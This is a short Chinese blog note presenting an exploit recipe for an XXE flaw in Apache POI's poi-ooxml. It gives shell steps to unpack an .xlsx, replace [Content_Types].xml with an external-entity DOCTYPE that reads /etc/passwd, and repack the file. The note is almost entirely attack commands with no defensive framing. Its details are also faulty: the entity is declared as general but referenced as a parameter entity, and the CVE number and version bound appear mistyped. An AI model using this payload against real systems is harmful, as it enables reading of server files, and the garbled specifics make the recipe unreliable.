【笔记】CVE-2014-3259漏洞利用

发表于 更新于 阅读次数：

前言

针对于xlsx文件的XXE外部实体攻击

漏洞利用前提

  • poi-ooxml.jar <= 3.1.0

漏洞利用

  • 修改文件.xlsx后缀名为.zip
1
mv x.xlsx x.zip
  • 解压
1
unzip x.zip -d x
  • 替换[Content_Types].xml文件的内容

传送门

1
echo '<?xml version="1.0"?><!DOCTYPE example [<!ENTITY file SYSTEM "file:///etc/passwd">%file;]>' > x/[Content_Types].xml
  • 重新打包为.zip文件
1
zip -r x.zip x
  • 修改文件.zip后缀名为.xlsx
1
mv x.zip x.xlsx

完成